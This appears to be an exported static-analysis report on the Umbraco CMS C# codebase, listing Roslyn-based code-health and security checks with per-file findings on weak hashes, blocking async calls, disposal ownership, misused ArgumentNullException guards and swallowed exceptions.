Review each MD5/SHA1 use by what it protects: replace it with SHA-256+ (or a KDF for passwords) where the digest is security-relevant, and switch it to a non-cryptographic hash (`System.IO.Hashing.XxHash64`/`Crc32`) where it only derives an identifier such as a cache key or a mutex name. This repository constructs a collision-broken hash (MD5/SHA1) at 7 sites, not one: `src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:321` (SHA1), `src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:325` (MD5), `src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:225` (MD5), `src/Umbraco.Core/HashGenerator.cs:152` (SHA1), `src/Umbraco.Core/IO/FileSystemExtensions.cs:26` (SHA1), `src/Umbraco.Core/Security/LegacyPasswordSecurity.cs:234` (SHA1), `src/Umbraco.Core/Security/LegacyPasswordSecurity.cs:238` (MD5). Each is a separate decision — fixing only the line this row cites leaves the others in place.
Pin third-party scripts and verify them: name an exact version in the URL and add an `integrity="sha384-…"` hash alongside `crossorigin="anonymous"` (both are required — an integrity hash on a cross-origin script without `crossorigin` is not evaluated, it blocks the script). Where the vendor ships a continuously-updated loader and publishes no stable hash (tag managers, analytics, chat widgets), Subresource Integrity is not available: constrain it instead with a `Content-Security-Policy` that names the exact origins allowed to execute, and drop the script from the pages that do not need it. Where the page is shipped inside a package that others host, prefer vendoring the asset and serving it from the app’s own origin, so no consumer inherits a third-party dependency they did not choose.
Do you agree with this assessment?
X1 · Async correctness4.9 / 10Weak✓ Tool-verified
Other · Code Health — Whether the code avoids sync-over-async (deadlock-prone blocking on tasks) and async void.
Method: Roslyn syntax scan: async methods scanned for .Wait()/.GetAwaiter().GetResult() and async-void outside event handlers. Deterministic, hard fact per invocation.
Blocking on a Task with `.Wait()`/`.GetAwaiter().GetResult()` can deadlock (and wastes a thread). Prefer awaiting it: make the caller `async` and `await` instead. Where a synchronous entry point must stay — a public sync API you cannot break, or a process entry point that must not return until the work finishes — the block belongs in ONE documented bridge and never inside code that is already async; and where it already is that bridge, give the wait a TIMEOUT so a hung task fails the call instead of hanging the process. (×40) — src/Umbraco.Core/Cache/DataTypeConfigurationCache.cs:41, src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:293, src/Umbraco.Core/Cache/Refreshers/Implement/ContentCacheRefresher.cs:354, …
Other · Code Health — Whether any branch is dead by construction — a switch arm whose label can never equal a case-normalised subject, or an `else if` whose predicate the arm above has already swallowed.
Method: Roslyn syntax + semantics: switch labels compared against the subject's own case normaliser, and if/else-if chains checked for a literal an earlier arm's containment test already swallows. Deterministic, provable per finding. Advisory.
The switch subject is `sorting.PropertyAlias.ToLowerInvariant()`, so every value reaching these arms has already been lower-cased by `ToLower()/ToLowerInvariant()` (line 207). The label `"createDate"` carries a letter of the opposite case, so it cannot equal that subject for ANY input — this arm is dead and whatever it was meant to handle silently falls through to the default. Match the normalised spelling (`"createdate"`), or drop the normaliser and compare with `StringComparison.OrdinalIgnoreCase`. — src/Umbraco.Cms.Api.Management/Controllers/Template/Query/ExecuteTemplateQueryController.cs:212
The switch subject is `sorting.PropertyAlias.ToLowerInvariant()`, so every value reaching these arms has already been lower-cased by `ToLower()/ToLowerInvariant()` (line 207). The label `"publishDate"` carries a letter of the opposite case, so it cannot equal that subject for ANY input — this arm is dead and whatever it was meant to handle silently falls through to the default. Match the normalised spelling (`"publishdate"`), or drop the normaliser and compare with `StringComparison.OrdinalIgnoreCase`. — src/Umbraco.Cms.Api.Management/Controllers/Template/Query/ExecuteTemplateQueryController.cs:215
What to do
Each finding names the span that makes the branch dead and the span it is dead because of. Confirm from the two, then delete the dead arm or fix the predicate that was meant to be reachable.
Do you agree with this assessment?
X13 · Undrained process stream10.0 / 10Exemplary○ Nothing flagged
Other · Code Health — Whether a child process that has BOTH standard streams redirected drains both — reading one to the end while the other is never read deadlocks once the child fills the unread pipe.
Method: Roslyn syntax + semantics: ProcessStartInfo launches with both streams redirected, checked for a drain of each stream across the enclosing type. Deterministic, provable per finding. Advisory.
Other · Security — Whether a hand-rolled public/private IP check can be walked past — a method that unwraps IPv4-mapped IPv6 but returns the opposite verdict for the same host written as IPv4-compatible, 6to4 or NAT64.
Method: Roslyn syntax + semantics: methods that unwrap IPv4-mapped IPv6 and hand-roll IPv4 range carve-outs, checked for whether the IPv6 branch also accounts for the IPv4-compatible, 6to4 and NAT64 embeddings. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X15 · Unvalidated length from an untrusted reader10.0 / 10Exemplary○ Nothing flagged
Other · Security — Whether a length read out of the stream being parsed is bounded before it is allocated or read — an unchecked count taken from the input lets the input choose the allocation.
Method: Roslyn syntax + semantics: integer lengths read from a BinaryReader and spent on a bulk read or an array allocation, checked for any comparison or bounding call on the value anywhere in the method. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether a loop that shortens a string until it fits a length budget has a floor — one with none grinds the value down to the empty string, or past it into a negative-length `Substring`.
Method: Roslyn syntax + semantics: while/do loops whose body's only effect on a string is to drop its last character, checked for whether anything — a direct comparison on the length, a body guard, a break — bounds that length below. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X17 · Uncapped recursion over a caller-supplied document10.0 / 10Exemplary○ Nothing flagged
Other · Security — Whether a walk that recurses through a JSON/XML tree handed in by its caller bounds how deep it will go — an uncapped walk lets the document's nesting choose the stack depth, and the resulting StackOverflowException cannot be caught.
Method: Roslyn syntax + semantics: methods that take a JSON/XML document node and call themselves with a child of it, reachable from an externally-callable member of the same type that accepts a document, checked for any depth parameter, descent counter or threaded arithmetic anywhere in the walk. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether a type's disposal matches what it OWNS — releasing what it created, leaving alone what it was handed, and not declaring a finalizer for state that has nothing unmanaged to finalize.
Method: Roslyn syntax + semantics: every assignment to a disposable field is read to decide whether the type CREATED the value or was handed it, and the type's disposal is checked against that answer — an injected interface it disposes, a value it constructed and never releases, a finalizer on a type holding nothing unmanaged, and a disposable local whose every reference is a plain member read. Deterministic, provable per finding. Advisory.
`writer` is a `StreamWriter`, which implements `IDisposable`, and it is created here (line 103). Every use of it in `GenerateStreamFromString` reads a member through it — it is never returned, never stored, never handed to anything else, and never disposed — so this method both creates the value and is the last thing that can release it, and does not. Nothing announces the leak: the object holds its resource until finalization if its type has a finalizer, and until the process ends if it does not, so the cost accumulates once per CALL rather than showing up as a failure. Declare it with `using` (`using var writer = …;`), which releases it at the end of the scope on every path including a throw. — src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:103
`_mainDomLock` is never created by `MainDom` — every assignment to it takes a constructor parameter — yet this type disposes it here (line 283). Its declared type `IMainDomLock` is an interface, so the instance came from whoever resolved it, and that owner decides when it ends. Disposing it from here reaches outside this object's lifetime: a dependency shared with the rest of the process is torn down when THIS instance goes away, and the real owner's later `Dispose()` runs a second time on an object already disposed. Drop the call — a type disposes what it constructed, and only that. If this dependency genuinely is exclusive to this instance, construct it here (or take an owned factory) so the ownership is stated in the code rather than assumed. — src/Umbraco.Core/Runtime/MainDom.cs:283
`_wrapped` is never created by `CultureContextualSearchResultsEnumerator` — every assignment to it takes a constructor parameter — yet this type disposes it here (line 523). Its declared type `IEnumerator` is an interface, so the instance came from whoever resolved it, and that owner decides when it ends. Disposing it from here reaches outside this object's lifetime: a dependency shared with the rest of the process is torn down when THIS instance goes away, and the real owner's later `Dispose()` runs a second time on an object already disposed. Drop the call — a type disposes what it constructed, and only that. If this dependency genuinely is exclusive to this instance, construct it here (or take an owned factory) so the ownership is stated in the code rather than assumed. — src/Umbraco.Infrastructure/PublishedContentQuery.cs:523
`reader` is a `LogEventReader`, which implements `IDisposable`, and it is created here (line 92). Every use of it in `ReadLogFile` reads a member through it — it is never returned, never stored, never handed to anything else, and never disposed — so this method both creates the value and is the last thing that can release it, and does not. Nothing announces the leak: the object holds its resource until finalization if its type has a finalizer, and until the process ends if it does not, so the cost accumulates once per CALL rather than showing up as a failure. Declare it with `using` (`using var reader = …;`), which releases it at the end of the scope on every path including a throw. — src/Umbraco.Infrastructure/Services/Implement/LogViewerRepository.cs:92
What to do
Each finding names the value and the span that decides who owns it — the `new` that created it, or the constructor parameter that handed it over. Confirm ownership from that span, then make the disposal match it: release what this type created, leave what it was injected with to whoever created THAT, and drop a finalizer whose type holds nothing unmanaged to release.
Other · Code Health — Whether a method that temporarily changes state belonging to the whole process — the working directory, an environment variable — puts it back on EVERY path: a restore reached only when nothing throws leaks the change to the rest of the process.
Method: Roslyn syntax + semantics: method bodies that write the process working directory or an environment variable and write it back in the same body, checked for whether that restore sits in a `finally`/`catch` or only on the straight-line path. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether async methods accept a CancellationToken so work can be cancelled (adoption curve).
Method: Roslyn scan: every async method (excluding framework-fixed overrides/Blazor handlers) checked for CancellationToken parameter presence. Deterministic, adoption percentage.
Only 686/1140 async methods accept a CancellationToken, so in-flight work can't be stopped early when the caller gives up — whatever ends it in your host (shutdown signal, timeout, abandoned request, user cancel). Thread a token through the call chain and honour it at each await and loop; where a method genuinely cannot be interrupted, omitting it is a deliberate choice — judge against your hosting model.
No CancellationToken parameter — this work can't be stopped early once started. (×39) — src/Umbraco.Core/Cache/AppCacheExtensions.cs:135, src/Umbraco.Core/Cache/AppCacheExtensions.cs:179, src/Umbraco.Core/Deploy/IContextCache.cs:36, …
What to do
Thread a CancellationToken through async methods so work stops promptly on cancellation.
Other · Code Health — Whether an argument guard throws the exception its own condition describes — a guard that rejects a value for being EMPTY and reports it as `ArgumentNullException` tells the caller a parameter was null when it provably was not.
Method: Roslyn syntax: `throw new ArgumentNullException(nameof(p))` statements controlled by an `if`, whose condition is read for a test that is true of a NON-null `p` — an emptiness test that dereferences it (`p.Count == 0`, `!p.Any()`) or a BCL predicate documented true of the empty value (`string.IsNullOrEmpty(p)`). Deterministic, provable per finding. Advisory.
The guard on line 83 rejects `input` and line 85 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(input)` is true of a value that is NOT null: it is satisfied by an EMPTY `input`, and on that path `input` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Core/Extensions/StringExtensions.Encoding.cs:85
The guard on line 261 rejects `absolutePath` and line 263 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrEmpty(absolutePath)` is true of a value that is NOT null: it is satisfied by an EMPTY `absolutePath`, and on that path `absolutePath` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Core/Routing/UriUtility.cs:263
The guard on line 21 rejects `entityType` and line 23 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(entityType)` is true of a value that is NOT null: it is satisfied by an EMPTY `entityType`, and on that path `entityType` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Core/UdiDefinitionAttribute.cs:23
The guard on line 201 rejects `roleId` and line 203 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(roleId)` is true of a value that is NOT null: it is satisfied by an EMPTY `roleId`, and on that path `roleId` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberRoleStore.cs:203
The guard on line 246 rejects `name` and line 248 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(name)` is true of a value that is NOT null: it is satisfied by an EMPTY `name`, and on that path `name` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberRoleStore.cs:248
The guard on line 421 rejects `userId` and line 423 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(userId)` is true of a value that is NOT null: it is satisfied by an EMPTY `userId`, and on that path `userId` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:423
The guard on line 544 rejects `loginProvider` and line 546 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(loginProvider)` is true of a value that is NOT null: it is satisfied by an EMPTY `loginProvider`, and on that path `loginProvider` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:546
The guard on line 549 rejects `providerKey` and line 551 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(providerKey)` is true of a value that is NOT null: it is satisfied by an EMPTY `providerKey`, and on that path `providerKey` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:551
The guard on line 620 rejects `loginProvider` and line 622 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(loginProvider)` is true of a value that is NOT null: it is satisfied by an EMPTY `loginProvider`, and on that path `loginProvider` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:622
The guard on line 625 rejects `providerKey` and line 627 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(providerKey)` is true of a value that is NOT null: it is satisfied by an EMPTY `providerKey`, and on that path `providerKey` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:627
The guard on line 659 rejects `loginProvider` and line 661 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(loginProvider)` is true of a value that is NOT null: it is satisfied by an EMPTY `loginProvider`, and on that path `loginProvider` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:661
The guard on line 664 rejects `providerKey` and line 666 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(providerKey)` is true of a value that is NOT null: it is satisfied by an EMPTY `providerKey`, and on that path `providerKey` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:666
The guard on line 723 rejects `roleName` and line 725 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(roleName)` is true of a value that is NOT null: it is satisfied by an EMPTY `roleName`, and on that path `roleName` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:725
The guard on line 808 rejects `roleName` and line 810 reports that rejection as `ArgumentNullException` — but the condition's own test `string.IsNullOrWhiteSpace(roleName)` is true of a value that is NOT null: it is satisfied by an EMPTY `roleName`, and on that path `roleName` was already proven non-null by the very expression that decided it (`||` short-circuits, so the null test to its left had to be false to get here). So a caller who passes a valid empty argument is told a parameter was null. That is not a wording problem: the exception type is the contract. A caller catching `ArgumentNullException` to handle a real null swallows the empty case with it, and whoever reads the stack trace later is told a failure the source disproves. .NET separates the two on purpose — `ArgumentNullException.ThrowIfNull` and `ArgumentException.ThrowIfNullOrEmpty` are two helpers because they are two failures. Throw `ArgumentException` for the empty case, or split the guard and throw each on its own condition. — src/Umbraco.Infrastructure/Security/MemberUserStore.cs:810
What to do
Each finding names the throw and the test in its own condition that is true of a NON-null value. Confirm from the two, then throw the exception that describes what was actually wrong: `ArgumentException` for a value that arrived empty, or the .NET 8 helpers that spell the whole guard in one line and pick the type for you — `ArgumentException.ThrowIfNullOrEmpty(s)` / `ThrowIfNullOrWhiteSpace(s)` for strings, `ArgumentNullException.ThrowIfNull(x)` followed by `ArgumentOutOfRangeException.ThrowIfZero(x.Count)` for a collection. Splitting the two conditions is usually clearer than picking one exception for both: they are different failures and the caller may want to handle them differently.
Other · Code Health — Whether a `when` guard is free of side effects — a guard that increments a counter or assigns while deciding whether its arm matches applies that change during PATTERN MATCHING, on an arm that may not be selected, and skips it entirely when a short-circuit to its left answers first.
Method: Roslyn syntax: `when` guards on case labels and switch-expression arms, read for a mutation (`++`/`--`/assignment) sitting in a position the guard's own `&&`/`||`/`??`/`?:`/`?.` can skip. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether a method that TAKES a lock or semaphore and gives it back from a flag-guarded `finally` returns the value that flag implies — reporting success while the guard hands the primitive back admits a second caller the exclusion was there to keep out, and reporting failure while the guard keeps it leaves nothing to ever give it back.
Method: Roslyn syntax: `try` statements whose `finally` releases a synchronisation primitive under a bare local-bool guard, where the method also TOOK that same primitive before the `try`, checked for a `return` of a bool literal whose value disagrees with the flag state the method's own straight-line assignments put it in. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether the work a diagnostic log line costs is paid only when that line is wanted — C# evaluates a call's arguments BEFORE the call, so a trace/debug message joined or projected out of a collection is built in full on every pass, and then discarded by a sink the shipped configuration leaves switched off.
Method: Roslyn syntax: log calls at a diagnostic level (a `Log`-prefixed method naming Trace/Debug/Verbose, or a bare `Debug`/`Trace`/`Verbose` on a receiver named for a logger), whose argument list is read for a call whose cost scales with a sequence — a LINQ operator, a materialisation, `string.Join`, a serializer — with no enclosing level check or conditional-compilation region. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X24 · Document value interpolated into markup unescaped10.0 / 10Exemplary○ Nothing flagged
Other · Security — Whether text read out of the document being converted is escaped before it is written into generated markup — a value the document's author chose, interpolated into an attribute the surrounding literal delimits, can close that attribute and open another.
Method: Roslyn semantic model over the whole compilation: a string-typed `Value`/`InnerText`/`InnerXml`/`Text` member declared inside `DocumentFormat.OpenXml` or `System.Xml` is a taint SOURCE, propagated through assignments, returns, arguments, tuple elements and string composition to its transitive closure, then read at interpolated-string holes that sit in a markup position the surrounding literal itself delimits. Escaper/encoder calls and enclosing validator conditions cut the flow. Flow- and container-insensitive by construction. A second arm needs no provenance at all and reports a type that CONTRADICTS ITSELF — the same expression escaped at one delimited markup hole and interpolated raw at another hole in the same markup position of the same type, which the type's own escaping proves is a defect without knowing where the value came from. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether a value the caller is invited to supply is the value the type actually uses — a constructor parameter stored in a private field that nothing ever reads while the default it was given is spelled out a second time at the site that should have read it, a keyed lookup that falls back to a different setting than the one its key names while the same type falls back to the matching one for that same key, or a culture-sensitive parse given no format provider by a type that feeds its own settable culture to the same kind of parse elsewhere. Either way, every caller who supplies a value silently gets something else.
Method: Roslyn syntax: private instance fields of a non-partial type assigned in a constructor from one of its own parameters with a `??` fallback, checked for whether anything in the type body reads the field and whether that same fallback expression is spelled out again outside the constructor; and `??` fallbacks onto a member access from a lookup call carrying exactly one string literal, grouped by that key across the type and checked for a fallback member whose folded name disagrees with the key while a sibling site for the same key agrees with it. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether a value handed from a callback to the body that waits on it crosses on something built to be crossed — a `Queue<T>`/`List<T>`/`Dictionary<K,V>` written inside an event handler and read back outside it is mutated by two flows at once, and the semaphore or completion source beside it orders how MANY items exist while leaving the collection's own head, tail and backing array unprotected.
Method: Roslyn syntax: method, accessor, local-function and lambda bodies that declare BOTH a non-thread-safe generic collection (`Queue`/`Stack`/`List`/`Dictionary`/`HashSet`/`Sorted*`/`LinkedList`) and a synchronisation primitive (`SemaphoreSlim`/`TaskCompletionSource`/`ManualResetEvent(Slim)`/`AutoResetEvent`/`CountdownEvent`) as locals, then read for a `+=`-registered lambda that raises that primitive while the body outside every lambda waits on it — and, in that scope, a mutating call on the collection inside the lambda paired with a mention of it outside. Any `lock` in the scope abstains it. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X27 · Collection changed while being enumerated10.0 / 10Exemplary○ Nothing flagged
Other · Code Health — Whether a `foreach` leaves the collection it is walking alone — a body that adds to or removes from the very collection the loop is enumerating invalidates the enumerator it is holding, so the next `MoveNext` throws `InvalidOperationException` and the remaining items are never seen.
Method: Roslyn syntax + semantics: `foreach` statements whose body calls a structural mutator (`Add`/`Remove`/`Clear`/`Insert`/…) on the very expression the loop is enumerating. Two arms. ARM A — the source is a concrete fragile BCL collection, or a live `Keys`/`Values` view over one, and the mutator resolves to that same collection's own member; concurrent and immutable collections and arrays are outside the population by construction, since their enumerators survive a structural change. ARM B — the source is an argument-less accessor CALL on a receiver whose body is in source: the accessor must return a stored field VERBATIM and a sibling member must structurally change that same field, both read off the implementations rather than from the members' names. A mutation the loop provably exits immediately after (`break`/`return`/`throw`/`goto`), or one written inside a nested loop or a lambda, is counted and never reported. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X28 · Index access outside its own emptiness guard10.0 / 10Exemplary○ Nothing flagged
Other · Code Health — Whether a condition that tests a value for emptiness indexes that same value only where the test holds — an `||` written one parenthesis too far to the left leaves an index access outside the guard beside it, so the empty case the guard exists to anticipate reaches the index and throws.
Method: Roslyn syntax only, no semantic model: the OUTERMOST `&&`/`||` of every boolean condition, read for a symbol the condition tests for emptiness (`string.IsNullOrEmpty`/`IsNullOrWhiteSpace`, a `Length`/`Count` comparison against a literal, `Any()`, a `Length`/`Count` pattern, or a comparison against `""`) and ALSO indexes. Each `symbol[...]` access is placed by a boolean-reachability walk from the access up to the outermost connective: an access is COVERED when some enclosing step has it in the right operand and the left operand, under the truth value that step forces, proves the symbol non-empty — a recursion over `&&`/`||` whose true- and false-directions are asymmetric. A finding needs BOTH an uncovered access and a covered one on the same symbol in the same condition, which is the agreeing twin that separates a misplaced parenthesis from an unrelated length test. Bare index accesses with no emptiness test in the condition are neither counted nor reported; a non-identifier receiver and a lambda nested inside the condition are outside the population. Deterministic, provable per finding. Advisory.
Do you agree with this assessment?
X29 · Per-element action decided by a fixed element10.0 / 10Exemplary○ Nothing flagged
Other · Code Health — Whether a decision taken once per element is taken ABOUT that element — a test inside a counted loop that reads a fixed subscript of the very collection its guarded statement indexes by the loop variable applies element zero's answer to all of them, so the elements that differ from it are all handled wrongly, and in the same direction.
Method: Roslyn syntax only, no semantic model: every `for` statement declaring exactly ONE loop variable, and every `if` inside its body that is not under a nested loop or a lambda. A site enters the population when the `if`’s condition never mentions the loop variable while the statement it guards indexes some collection by that variable ALONE (`c[i]`; `c[i + 1]` and `c[i, j]` are outside it). A finding additionally needs the AGREEING TWIN at the same-collection grain: the condition must read THAT SAME collection at a subscript that does not move — written into the condition, or reached through a local declared BEFORE the loop, so an alias bound inside the body is not followed. Both collection expressions must be simple identifiers. Deterministic, provable per finding. Advisory.
Other · Code Health — Whether exceptions are handled rather than silently swallowed or rethrown with lost stack traces.
Method: Roslyn syntax scan: every catch clause counted; empty catches and bare rethrows flagged. Population is all catch clauses, not estimated. Deterministic, hard fact.
`catch (Exception)` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter. (×9) — src/Umbraco.Core/Extensions/ObjectExtensions.cs:572, src/Umbraco.Core/Extensions/ObjectExtensions.cs:605, src/Umbraco.Core/Extensions/ObjectExtensions.cs:617, …
`catch` takes every exception and records none of it — the body neither logs it, rethrows it, nor even names it, so the failure is discarded as completely as by an empty catch and only the substituted value survives. Log it through whatever this codebase already uses to report problems, narrow the catch to the exception this call can actually raise, or say in a comment on the catch why the failure genuinely cannot matter. (×10) — src/Umbraco.Core/Extensions/StringExtensions.Parsing.cs:127, src/Umbraco.Core/HealthChecks/Checks/Services/SmtpCheck.cs:63, src/Umbraco.Core/IO/IOHelperExtensions.cs:51, …
An empty catch block silently discards the error — failures vanish with no log and no rethrow. On a teardown path letting it propagate is not an option (throwing out of `Dispose()` masks the failure already in flight and abandons the rest of the cleanup), so make the swallow deliberate instead: narrow the catch to the exception this release can actually raise, and record it through whatever this codebase already uses to report problems — or, if it truly cannot matter, say why in a comment on the catch. — src/Umbraco.Core/SystemLock.cs:172
What to do
Swallowed exception (caught, then discarded)
Do you agree with this assessment?
X30 · Support guard that admits what it rejects10.0 / 10Exemplary○ Nothing flagged
Other · Code Health — Whether a guard written as a NEGATED `||` says what its author meant — `!(a || b || x != k)` is `!a && !b && x == k` by De Morgan, so a bail-out that mixes capabilities the code needs with a fault it refuses turns inside out: it fires only where the capabilities are ABSENT, and lets every value the fault term names walk straight into the body that cannot handle it.
